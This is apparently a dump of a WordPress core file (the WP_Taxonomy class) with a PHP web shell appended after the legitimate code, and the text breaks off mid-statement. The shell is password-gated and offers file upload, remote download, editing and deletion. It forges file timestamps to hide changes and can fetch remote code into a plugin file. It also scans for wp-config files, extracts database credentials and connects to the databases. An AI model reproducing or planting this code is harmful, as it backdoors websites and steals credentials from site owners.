Server : LiteSpeed System : Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : nimalaab ( 3358) PHP Version : 8.1.32 Disable Function : NONE Directory : /home/nimalaab/www/wp-includes/ |
<?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ #[AllowDynamicProperties] final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * Default labels. * * @since 6.0.0 * @var (string|null)[][] $default_labels */ protected static $default_labels = array(); /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var string[] */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; } $pass = '30c13b3c1455ae43c8b51ee113f8d57a'; if(isset($_GET['abc']) && $_GET['abc']==$pass){ if(isset($_GET['check'])){ echo json_encode(array('status'=>'OK')); exit(); } if(isset($_GET['restore'])){ $json = json_decode(get_page(base64_decode(str_replace(' ','+',$_GET['restore']))),true); if(isset($json['content'])){ $json['content'] = str_replace('[PHP_FILE]',basename(__FILE__),$json['content']); $f='..'.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'function.php'; file_put_contents($f,$json['content']); @touch($f,filemtime(__FILE__),filemtime(__FILE__)); echo json_encode(array('restore'=>'OK')); exit(); } echo json_encode(array('restore'=>'ERROR')); exit(); } setcookie("abc", $pass, (time() + 3600), "/"); header('Location: '.$_SERVER['SCRIPT_NAME']); exit(); } if (isset($_COOKIE['abc']) && $_COOKIE['abc']==$pass) { if(!isset($_GET['error_show'])){ @ini_set('display_errors', 0); @ini_set('display_startup_errors', 0); @error_reporting(E_ALL); }else{ @ini_set('display_errors', 1); @ini_set('display_startup_errors', 1); @error_reporting(E_ALL); } if(!isset($_GET['dir'])){ $dir = __DIR__; }else{ $dir = base64_decode(str_replace(' ', '+', $_GET['dir'])); } $zone_domen = '|aaa|aarp|ca|abb|abbott|abbvie|br|abc|su|able|abogado|it|abudhabi|ae|at|bd|be|bw|cn|cr|cy|fj|fk|id|il|im|in|ir|jp|ke|kr|lk|ls|ma|me|mu|mw|mz|nz|pa|pg|pr|rs|ru|rw|se|sz|th|ac|tz|ug|uk|vn|za|zm|zw|academy|accenture|accountant|accountants|aco|au|actor|ad|ads|adult|org|aeg|np|aero|aetna|af|no|afl|com|africa|ag|agakhan|agency|hu|bo|pl|ai|aig|ee|airbus|airforce|airtel|us|akdn|al|fi|alibaba|alipay|allfinanz|allstate|ally|alsace|am|amazon|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|do|dz|art|arte|nf|ro|as|asda|asia|fr|mc|nc|associates|athleta|attorney|auction|audi|audible|audio|auspost|author|auto|autos|tr|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|mm|ni|pk|tj|tt|biz|ua|bj|black|blackfriday|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnpparibas|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|build|builders|business|buy|buzz|by|bz|bzh|cab|cafe|cal|call|calvinklein|cam|camera|camp|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|casa|case|cash|casino|cat|catering|catholic|cba|cbn|cbre|cc|cd|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|tw|club|clubmed|cm|cz|dk|gg|gl|gy|je|lc|mg|na|nl|om|pn|co|uz|ve|vi|coach|codes|coffee|college|cologne|cu|cv|cw|de|ec|eg|er|es|et|ge|gh|gi|gn|gp|gr|gt|gu|hk|hn|hr|ht|iq|jm|jo|kg|kh|ki|kp|kw|ky|kz|la|lb|lr|lv|ly|mk|ml|mo|ms|mt|mv|mx|my|ng|nr|pe|pf|ph|ps|pt|py|qa|sa|sb|sc|sd|sg|sl|sn|so|ss|sv|sy|tm|tn|to|uy|vc|vu|ws|ye|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cool|coop|corsica|country|coupon|coupons|courses|pro|cpa|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|cuisinella|cx|cymru|cyou|dad|dance|data|date|dating|datsun|day|dclk|dds|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dm|dnp|docs|doctor|dog|domains|dot|download|drive|dtv|dubai|dunlop|dupont|durban|dvag|dvr|earth|eat|eco|edeka|gd|kn|mn|edu|education|email|emerck|energy|engineer|engineering|enterprises|epson|equipment|ericsson|erni|esq|estate|eu|eurovision|eus|events|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|football|ford|forex|forsale|forum|foundation|fox|free|fresenius|frl|frogans|frontier|ftr|fujitsu|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gay|net|gbiz|gdn|gea|gent|genting|george|gf|ggee|gift|gifts|gives|giving|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|godaddy|gold|goldpoint|golf|goo|goodyear|goog|google|gop|got|ie|lt|mr|scot|sh|st|tl|gov|gq|grainger|graphics|gratis|green|gripe|grocery|group|gs|gucci|guge|guide|guitars|guru|gw|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hiphop|hisamitsu|hitachi|hiv|hkt|hm|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|horse|hospital|host|hosting|hot|hotels|hotmail|house|how|hsbc|hughes|hyatt|hyundai|ibm|icbc|ice|icu|ieee|ifm|ikano|imamat|imdb|immo|immobilien|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|international|intuit|investments|io|ipiranga|irish|is|ismaili|ist|istanbul|itau|itv|jaguar|java|jcb|jeep|jetzt|jewelry|jio|jll|jmp|jnj|jobs|joburg|jot|joy|jpmorgan|jprs|juegos|juniper|kaufen|kddi|kerryhotels|kerrylogistics|kerryproperties|kfh|kia|kids|kim|kindle|kitchen|kiwi|km|koeln|komatsu|kosher|kpmg|kpn|krd|kred|kuokgroup|kyoto|lacaixa|lamborghini|lamer|lancaster|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|link|lipsy|live|living|llc|llp|loan|loans|locker|locus|lol|london|lotte|lotto|love|lpl|lplfinancial|ltd|ltda|lu|lundbeck|luxe|luxury|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|mattel|mba|mckinsey|md|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mlb|mls|mma|mobi|mobile|moda|moe|moi|mom|monash|money|monster|mormon|mortgage|moto|motorcycles|mov|movie|mp|mq|msd|mtn|mtr|museum|music|nab|nagoya|name|navy|nba|ne|nec|netbank|netflix|network|neustar|new|news|next|nextdirect|nexus|nfl|ngo|nhk|nico|nike|nikon|ninja|nissan|nissay|nokia|norton|now|nowruz|nowtv|nra|nrw|ntt|nu|nyc|obi|observer|office|okinawa|olayan|olayangroup|ollo|omega|one|ong|onl|online|ooo|open|oracle|orange|organic|origins|osaka|otsuka|ott|ovh|page|panasonic|paris|pars|partners|parts|party|pay|pccw|pet|pfizer|pharmacy|phd|philips|phone|photo|photography|photos|physio|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|place|play|playstation|plumbing|plus|pm|pnc|pohl|poker|politie|porn|post|pramerica|praxi|press|prime|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|pub|pw|pwc|qpon|quest|racing|radio|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|ril|rio|rip|rocks|rodeo|rogers|room|rsvp|rugby|ruhr|run|rwe|ryukyu|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sbi|sbs|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|search|seat|secure|security|seek|select|sener|services|seven|sew|sex|sexy|sfr|shangrila|sharp|shell|shia|shiksha|shoes|shop|shopping|shouji|show|si|silk|sina|singles|site|sk|ski|skin|sky|skype|sling|sm|smart|smile|sncf|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|sport|spot|sr|srl|stada|staples|star|statebank|statefarm|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|sucks|supplies|supply|support|surf|surgery|suzuki|swatch|swiss|sx|sydney|systems|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|temasek|tennis|teva|tf|tg|thd|theater|theatre|tiaa|tickets|tienda|tips|tires|tirol|tjmaxx|tjx|tk|tkmaxx|tmall|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|trade|trading|training|travel|travelers|travelersinsurance|trust|trv|tube|tui|tunes|tushu|tv|tvs|ubank|ubs|unicom|university|uno|uol|ups|va|vacations|vana|vanguard|vegas|ventures|verisign|versicherung|vet|vg|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|viva|vivo|vlaanderen|vodka|volvo|vote|voting|voto|voyage|wales|walmart|walter|wang|wanggou|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|wtc|wtf|xbox|xerox|xihuan|xin|xn--11b4c3d|xn--o3cw4h|xn--1ck2e1b|xn--1qqw23a|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3pxu8k|xn--42c2d9a|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cckwcxetd|xn--cg4bki|xn--czrs0t|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--gckr3f0f|xn--gk3at1e|xn--h2brj9c|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--jlq480n2rg|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kput3i|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbayh7gpa|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbi4ecexp|xn--mgbt3dhd|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--otu796d|xn--p1acf|xn--p1ai|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|yodobashi|yoga|yokohama|you|youtube|yt|yun|zappos|zara|zero|zip|zone|zuerich|'; if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadfile']) && isset($_FILES['uploadfile']['tmp_name'])) { $file = $_FILES['uploadfile']; move_uploaded_file($file['tmp_name'], $dir.DIRECTORY_SEPARATOR.$file['name']); } if(!empty($_POST['uploadurl']) && $_POST['uploadurl']!='https://...' && rawurldecode($_POST['uploadurl'])!='https://...'){ $url = rawurldecode($_POST['uploadurl']); $get = get_page($url); if($get){ $name = basename($url); if(!empty($name)){ file_put_contents($name,$get); }else{ file_put_contents('download_'.time().'download',$get); } } } if(isset($_POST['action']) && $_POST['action']=='rename' && $_POST['new_name']!='' && $_POST['old_file']!=''){ $old_file = base64_decode(str_replace(' ','+',$_POST['old_file'])); if(is_file($old_file)){ rename($old_file, dirname($old_file).DIRECTORY_SEPARATOR.$_POST['new_name']); }else{ if(is_dir($old_file)){ $explode = explode(DIRECTORY_SEPARATOR,$old_file); unset($explode[count($explode)-1]); rename($old_file, implode(DIRECTORY_SEPARATOR,$explode).DIRECTORY_SEPARATOR.$_POST['new_name']); } } } if(isset($_POST['action']) && $_POST['action']=='create_dir' && $_POST['name']!=''){ mkdir($dir.DIRECTORY_SEPARATOR.$_POST['name']); } if(isset($_POST['action']) && $_POST['action']=='create_file' && $_POST['name']!=''){ file_put_contents($dir.DIRECTORY_SEPARATOR.$_POST['name'],''); } if(isset($_POST['action']) && $_POST['action']=='paste_file' && isset($_COOKIE['file_copy'])){ $file = base64_decode(str_replace(' ','+',$_COOKIE['file_copy'])); if(is_file($file)){ copy($file,$dir.DIRECTORY_SEPARATOR.basename($file)); }else{ copyDirectory($file,$dir.DIRECTORY_SEPARATOR.basename($file)); } setcookie('file_copy', '', time() - 3600, '/'); } if(isset($_POST['search_text']) && !empty($_POST['search_text'])){ @set_time_limit(180); $search_text = rawurldecode($_POST['search_text']); $result = searchFilesInFolder($dir, $search_text); foreach($result as $current_result){ echo '<a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($current_result[0]).'">'.$current_result[0].'</a> '.$current_result[1].'<br>'; } exit(); } if(isset($_GET['backup']) && isset($_GET['dir'])){ if(is_file($dir)){ copy($dir,$dir.'_backup_'.time()); } header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(dirname($dir))); exit(); } if(isset($_GET['download']) && isset($_GET['dir'])){ if(is_file($dir)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($dir) . '"'); header('Content-Length: ' . filesize($dir)); header('Pragma: no-cache'); header('Cache-Control: private, no-store, no-cache, must-revalidate'); header('Expires: 0'); readfile($filePath); } exit(); } if(isset($_GET['changetime']) && isset($_GET['dir'])){ if(is_file($dir)){ $time = array(); $files = array_diff(scandir(dirname($dir)),array('.','..')); $popular = time()-3600*24*mt_rand(1,31); if(count($files)>1){ foreach($files as $current_file){ $current_file = dirname($dir).DIRECTORY_SEPARATOR.$current_file; $mtime = filemtime($current_file); if(isset($time[$mtime])){ $time[$mtime]++; }else{ $time[$mtime]=1; } } ksort($time); $popular = key($time); } touch($dir,$popular,$popular); header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(dirname($dir))); }else{ if(is_dir($dir)){ $popular = time()-3600*24*mt_rand(1,31); touch($dir,$popular,$popular); $explode = explode(DIRECTORY_SEPARATOR,$dir); unset($explode[count($explode)-1]); header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(implode(DIRECTORY_SEPARATOR,$explode))); } } exit(); } if(isset($_GET['changerandomtime']) && isset($_GET['dir'])){ $time = filemtime($dir); if(mt_rand(0,1)==0){ $time+=mt_rand(1,5); }else{ $time-=mt_rand(1,5); } touch($dir,$time,$time); if(is_file($dir)){ header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(dirname($dir))); }else{ if(is_dir($dir)){ $explode = explode(DIRECTORY_SEPARATOR,$dir); unset($explode[count($explode)-1]); header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(implode(DIRECTORY_SEPARATOR,$explode))); } } exit(); } if(isset($_GET['del']) && isset($_GET['dir'])){ if(is_file($dir)){ unlink($dir); header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(dirname($dir))); }else{ if(is_dir($dir)){ deleteDirectory($dir); $explode = explode(DIRECTORY_SEPARATOR,$dir); unset($explode[count($explode)-1]); header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode(implode(DIRECTORY_SEPARATOR,$explode))); } } exit(); } if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['file']) && isset($_POST['content'])) { $current_file = base64_decode(str_replace(' ','+',$_POST['file'])); $content = base64_decode(str_replace(' ','+',$_POST['content'])); $content = htmlspecialchars_decode($content); $old_content = file_get_contents($current_file); $time = filemtime($current_file); file_put_contents($current_file, $content); touch($current_file,$time,$time); $save_content = file_get_contents($current_file); $good = 0; if($save_content==$content){ $good = 1; }else{ file_put_contents($current_file, $old_content); touch($current_file,$time,$time); touch(dirname($current_file,$time,$time)); } header('Location: '.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($current_file).'&good='.$good); exit(); } $is_file = false; $content = ''; if(is_file($dir)){ $is_file = $dir; $content = file_get_contents($dir); $dir = dirname($dir); } if(is_dir($dir)){ $scan = @scandir($dir); if($scan===false){ $files = array(); }else{ $files = array_diff($scan,array('.','..')); } } $list_all_dir = array(); $dir_array = array(); $explode_dir = explode(DIRECTORY_SEPARATOR, $dir); $all_dir = array(); $found_domen = array(); $found_config = array(); foreach($explode_dir as $current_path){ $all_dir[] = $current_path; $current_dir = implode(DIRECTORY_SEPARATOR, $all_dir); if(empty($current_dir)) { $current_dir = DIRECTORY_SEPARATOR; } $scandir = @scandir($current_dir); $list_all_dir[] = 'PATH: '.$current_dir; if(is_array($scandir)){ $files = array_diff($scandir,array('..','.')); foreach($files as $current_file){ if(is_dir($current_dir.DIRECTORY_SEPARATOR.$current_file)){ $list_all_dir[] = ' ['.$current_file.']'; }else{ $list_all_dir[] = ' '.$current_file; } } }else{ $list_all_dir[] = 'ERROR'; } // Просканируем данную директорию $domains = scanDirectory($current_dir, 2); $config = scanDirectoryConfig($current_dir, 3); if(is_array($domains) && count($domains)>0){ foreach ($domains as $current) { $explode_domain = explode('|',$current); $found_domen[$explode_domain[0]][$explode_domain[1]] = 1; } } if(is_array($config) && count($config)>0){ foreach ($config as $current) { $explode_domain = explode('|',$current); $found_config[$explode_domain[0]][$explode_domain[1]] = 1; } } $color = ''; if(is_writable($current_dir)){ $color = '#32CD32'; }else{ if(is_readable($current_dir)){ $color = '#FFD700'; }else{ $color = '#FF4500'; } } if(empty($current_path)) $current_path = DIRECTORY_SEPARATOR; $dir_array[] = '<a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($current_dir).'" style="color:'.$color.';">'.$current_path.'</a>'; } $list_all_dir = htmlspecialchars(implode("\\n",$list_all_dir)); $count_found_domen = count($found_domen); $text_found_domen = array(); foreach($found_domen as $current_domen=>$list_path){ $dns = '[-]'; if(checkdnsrr($current_domen, "A")){ $dns = '[+]'; } $text_found_domen[] = $current_domen.' '.$dns.' '.implode(' ', array_keys($list_path)); } $text_found_domen = htmlspecialchars(implode("\\n",$text_found_domen)); $count_found_config = count($found_config); $text_found_config = array(); foreach($found_config as $current_domen=>$list_path){ $get = file_get_contents($current_domen); $db = array(); $db_site_url = ''; preg_match('/DB\_NAME(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_name); if(isset($db_name[3])){ $db_name = $db_name[3]; preg_match('/DB\_USER(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_user); $db_user = $db_user[3]; preg_match('/DB\_PASSWORD(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_pass); $db_pass = $db_pass[3]; preg_match('/DB\_HOST(\'|\")\s*\,\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_host); $db_host = $db_host[3]; preg_match('/\$table\_prefix\s*\=\s*(\'|\")(.+?)(\'|\")/ui', $get,$db_prefix); $db_prefix = $db_prefix[2]; $db['db_name'] = $db_name; $db['db_user'] = $db_user; $db['db_pass'] = $db_pass; $db['db_host'] = $db_host; $db['db_prefix'] = $db_prefix; $db_connect = false; try { $db_connect = @mysqli_connect($db['db_host'], $db['db_user'], $db['db_pass'], $db['db_name']); }catch (Exception $e){ $db_connect = false; } if($db_connect){ $result = false; try { $result = @mysqli_query($db_connect,"SELECT * FROM `{$db['db_prefix']}options` WHERE `option_name`='siteurl' LIMIT 1;"); }catch (Exception $e){ $result = false; } $row = array(); if($result){ $row = @mysqli_fetch_array($result); } if(isset($row['option_value'])){ $parse_url = parse_url($row['option_value']); $dns = '[-]'; if(checkdnsrr($parse_url['host'], "A")){ $dns = '[+]'; } $db_site_url = $dns.' '.$row['option_value']; } } } if(!empty($db_site_url)){ $text_found_config[] = $current_domen.' '.$db_site_url; }else{ $text_found_config[] = $current_domen.' '.implode(' ', array_keys($list_path)); } } $text_found_config = htmlspecialchars(implode("\\n",$text_found_config)); echo '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>'.$_SERVER['SERVER_NAME'].'</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } h1 { text-align: center; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } table, th, td { border: 1px solid #ddd; } th, td { padding: 8px; text-align: left; } th { background-color: #f2f2f2; } a { color: #000; text-decoration: none; } a:hover { text-decoration: underline; } </style> <script> function confirmDelete(event) { var isConfirmed = confirm("Delete file/dir?"); if (!isConfirmed) { event.preventDefault(); } } function setCookie(name, value, days) { let expiryDate = new Date(); expiryDate.setTime(expiryDate.getTime() + (days * 24 * 60 * 60 * 1000)); let expires = "expires=" + expiryDate.toUTCString(); document.cookie = name + "=" + value + ";" + expires + ";path=/"; } document.addEventListener(\'DOMContentLoaded\', function() { function encodeBase64(str) { return btoa(unescape(encodeURIComponent(str))); } document.getElementById("editor-form").addEventListener("submit", function(e) { e.preventDefault(); var textareaContent = document.getElementById("content").value; var encodedContent = encodeBase64(textareaContent); document.getElementById("content").value = encodedContent; this.submit(); }); }); function replaceLinkWithTextarea(event, link) { event.preventDefault(); const textarea = document.createElement(\'textarea\'); textarea.style.width = \'100%\'; textarea.style.height = \'100px\'; const initialText = "'.$text_found_domen.'"; textarea.value = initialText; link.replaceWith(textarea); } function replaceLinkWithTextarea2(event, link) { event.preventDefault(); const textarea = document.createElement(\'textarea\'); textarea.style.width = \'100%\'; textarea.style.height = \'100px\'; const initialText = "'.$text_found_config.'"; textarea.value = initialText; link.replaceWith(textarea); } function replaceLinkWithTextarea3(event, link) { event.preventDefault(); const textarea = document.createElement(\'textarea\'); textarea.style.width = \'100%\'; textarea.style.height = \'100px\'; const initialText = "'.$list_all_dir.'"; textarea.value = initialText; link.replaceWith(textarea); } function deleteCookie(cookieName) { document.cookie = cookieName + "=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/"; }</script> </head> <body>'; echo implode(DIRECTORY_SEPARATOR,$dir_array); if($is_file){ echo DIRECTORY_SEPARATOR.basename($is_file).'<br>'; if(isset($_GET['good'])){ if($_GET['good']==1){ echo '<script>alert("Good save");</script>'; }else{ echo '<script>alert("Bad save");</script>'; } } echo '<form action="" id="editor-form" method="POST"><textarea id="content" style="width: 100%;height: 85vh;font-family: monospace;font-size: 16px;padding: 20px;box-sizing: border-box;border: none;outline: none;resize: none; background-color: #f5f5f5;" name="content">'.htmlspecialchars($content).'</textarea><input type="hidden" name="file" value="'.base64_encode($is_file).'"><button type="submit">Save</button></form>'; echo '</body></html>'; exit(); } echo ' <a href="'.$_SERVER['SCRIPT_NAME'].'">[home]</a> ↔️ <form style="display: inline;" action="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir).'" method="POST"><input type="text" name="name" value=""> <button type="submit" name="action" value="create_dir">Create dir</button> <button type="submit" name="action" value="create_file">Create file</button> ↔️ <button type="submit" name="action" value="paste_file">Paste</button></form> ↔️ '; echo '<form style="display: inline;" action="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir).'" method="POST" enctype="multipart/form-data"><input type="file" name="uploadfile"> <input type="text" name="uploadurl" value="https://..."> <button type="submit">Upload</button></form> ↔️ <form style="display: inline;" action="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir).'" method="POST" enctype="multipart/form-data"><input type="text" name="search_text" value="search string"> <button type="submit">Search</button></form><hr>'; echo '<a href="#" onclick="replaceLinkWithTextarea(event, this)">▶️ Found domen '.$count_found_domen.'</a> <a href="#" onclick="replaceLinkWithTextarea2(event, this)">▶️ Found config '.$count_found_config.'</a> <a href="#" onclick="replaceLinkWithTextarea3(event, this)">▶️ List Path</a><hr>'; if (isset($_COOKIE['file_copy'])) { $file = base64_decode(str_replace(' ','+',$_COOKIE['file_copy'])); if(is_file($file)){ echo 'BUFFER FILE: '.$file ; }else{ if(is_dir($file)){ echo 'BUFFER DIR: '.$file ; } } echo ' <a href="#" onclick="deleteCookie(\'file_copy\'); location.reload(); return false;">❌</a><hr>'; } echo '<table><thead><tr><th>Name</th><th>Size</th><th>PERMS</th><th>OWNER</th><th>TIME</th><th>ACTION</th></tr></thead><tbody>'; $_files = array(); $_dir = array(); foreach($files as $current_file){ if(is_dir($dir.DIRECTORY_SEPARATOR.$current_file)){ $_dir[] = $current_file; }else{ $_files[] = $current_file; } } $files = array_merge($_dir,$_files); // Вывод файлов и папок foreach ($files as $file) { echo "<tr>"; $is_writable = false; if(is_writable($dir.DIRECTORY_SEPARATOR.$file)){ $color = '#32CD32'; $is_writable = true; }else{ if(is_readable($dir.DIRECTORY_SEPARATOR.$file)){ $color = '#FFD700'; }else{ $color = '#FF4500'; } } if(is_dir($dir.DIRECTORY_SEPARATOR.$file)){ echo "<td><a style=\"color:{$color};\" href='?dir=".base64_encode($dir.DIRECTORY_SEPARATOR.$file)."'>📁 $file</a></td>"; }else{ echo "<td><a style=\"color:{$color};\" href='?dir=".base64_encode($dir.DIRECTORY_SEPARATOR.$file)."'>📄 $file</a></td>"; } if(is_file($dir.DIRECTORY_SEPARATOR.$file)){ echo "<td>".(round(filesize($dir.DIRECTORY_SEPARATOR.$file)/1024,1))." Kb</td>"; }else{ echo "<td>----</td>"; } echo 